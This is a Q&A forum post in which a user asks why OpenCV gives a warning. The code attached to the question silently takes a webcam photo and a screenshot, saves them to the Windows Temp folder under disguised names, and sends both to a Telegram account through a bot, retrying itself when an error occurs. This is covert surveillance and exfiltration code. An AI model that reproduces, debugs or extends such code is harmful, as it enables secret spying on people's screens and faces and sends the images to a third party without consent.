Answer the question
In order to leave comments, you need to log in
Why is it giving [warn:0] openCV?
import os
import telebot
import cv2
import pyautogui
import pyscreenshot
TOKEN = 'токен'
owner_id = айди
cap = cv2.VideoCapture(0)
if not cap.isOpened():
print("Cannot open webcam")
camera_port = 0
ret, frame = cap.read()
frame = cv2.resize(frame, None, fx=0.5, fy=0.5, interpolation=cv2.INTER_AREA)
cv2.imwrite("C:\Windows\Temp\scdddreen.jpg", frame)
print("Successfully saved")
camera = cv2.VideoCapture(camera_port,cv2.CAP_DSHOW)
cv2.destroyAllWindows()
bot = telebot.TeleBot(TOKEN)
im = pyscreenshot.grab()
im.save('C:\Windows\Temp\screenschot22.png')
text = "wrhethfgye"
def start_bot( TOKEN ):
try:
uphoto2 = open("C:\Windows\Temp\screenschot22.png", "rb")
uphoto = open("C:\Windows\Temp\scdddreen.jpg", "rb")
bot = telebot.TeleBot( TOKEN )
bot.send_photo(айди, uphoto, text)
bot.send_photo(айди, uphoto2, text)
uphoto2.close()
bot.polling()
bot.stop_polling()
except Exception:
start_bot( TOKEN )
Answer the question
In order to leave comments, you need to log in
Didn't find what you were looking for?
Ask your questionAsk a Question
731 491 924 answers to any question